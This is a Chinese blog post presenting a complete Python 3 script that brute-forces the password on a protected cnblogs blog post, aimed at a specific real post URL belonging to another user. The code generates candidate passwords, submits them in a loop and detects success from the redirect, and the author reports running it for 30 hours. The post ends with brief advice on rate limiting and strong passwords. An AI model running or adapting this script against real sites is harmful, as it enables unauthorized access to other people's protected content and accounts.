python3實現(xiàn)暴力窮舉博客園密碼
我之前想寫路由器的密碼暴力破解器,我手上只有極路由,發(fā)現(xiàn)極路由有安全限制,只能允許連續(xù)10密碼錯誤,所以我改拿博客園練手。
博客園的博客有個功能是給博文設(shè)置一個密碼,輸入正確的密碼才能看到文章的內(nèi)容。經(jīng)過測試發(fā)現(xiàn)這個密碼驗證功能,既沒有驗證碼也沒有提交頻率的限制,
要寫這個針對博客園的密碼暴力破解器模型會非常簡單,很好實現(xiàn)。
比如打開這個博文,會顯示一個密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html
我之前沒有寫過這樣的程序,也沒有看過別人寫這類功能的代碼,就按我自己所理解的想法來寫一個最簡單的密碼破解器,不要多線程,不要分布式,
這個程序會有這么兩個部分:
1、我需要一個生成器,可以不停的生成所有可能的密碼組合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密碼組合。
2、我需要不停的提交密碼,直到認為密碼正確,記錄密碼,退出程序。
-_-!為什么使用生成器?
python2中range() 不是一個生成器,當(dāng)你range(N),N為一個很大的數(shù)時...python就會爆炸!??!哈哈哈..
寫細致的博客太消耗時間和心力,我這里不寫具體的分析過程了,后面直接上代碼,如果看不懂,查相關(guān)關(guān)鍵詞就可以,畢竟基礎(chǔ)教程性的文章和內(nèi)容非常之多。
tqdm是一個python進度條庫,requests是一個簡單優(yōu)雅的http庫,
product是python3的標準庫itertools下的函數(shù),可以用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join連接起來就得到了"abc"這樣的一個密碼。
"""
python3暴力窮舉密碼
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post
#密碼生成器
def psgen(x=4):
iter = ['1234567890',
'abcdefghijklmnopqrstuvwxyz',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
]
for r in iter:
for repeat in range(1,x+1):
for ps in product(r,repeat=repeat):
yield ''.join(ps)
def fx(url):
#把URL中的readauth字符刪掉,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式,因為這個才POST的目標地址。
url = url.replace("/post/readauth?url=", "")
for ps in tqdm(psgen(6)):
try:
rs=post(url,data={'tb_password':ps},allow_redirects=1)
if rs.url == url: #如果提交密碼后,返回的url得到為"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式,那么認為猜到正確的密碼了。
with open("resut.csv","a+") as f:
f.write('密碼破解成功結(jié)果為:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
break
except:
sleep(1)
pass
url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)
最后,這個程序運行速度大約是每秒提交6次密碼,我運行了30個小時,也不過是迭代幾十萬次,并沒有能把密碼破解出來,沒有產(chǎn)生實質(zhì)性的危害。
總結(jié):
1、密碼驗證的地方適當(dāng)增加一些防止暴力破解的手段。
2、仍然有必要使用復(fù)雜的密碼提高安全度。雖然這樣的一個簡單的程序并沒有什么卵用。
相關(guān)文章
關(guān)于matplotlib及相關(guān)cmap參數(shù)的取值方式
這篇文章主要介紹了關(guān)于matplotlib及相關(guān)cmap參數(shù)的取值方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-11-11
如何實現(xiàn)在遠程linux服務(wù)器上運行python代碼
這篇文章主要介紹了如何實現(xiàn)在遠程linux服務(wù)器上運行python代碼問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2023-12-12
Python中的np.argmin()和np.argmax()函數(shù)用法
這篇文章主要介紹了Python中的np.argmin()和np.argmax()函數(shù)用法,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2021-06-06

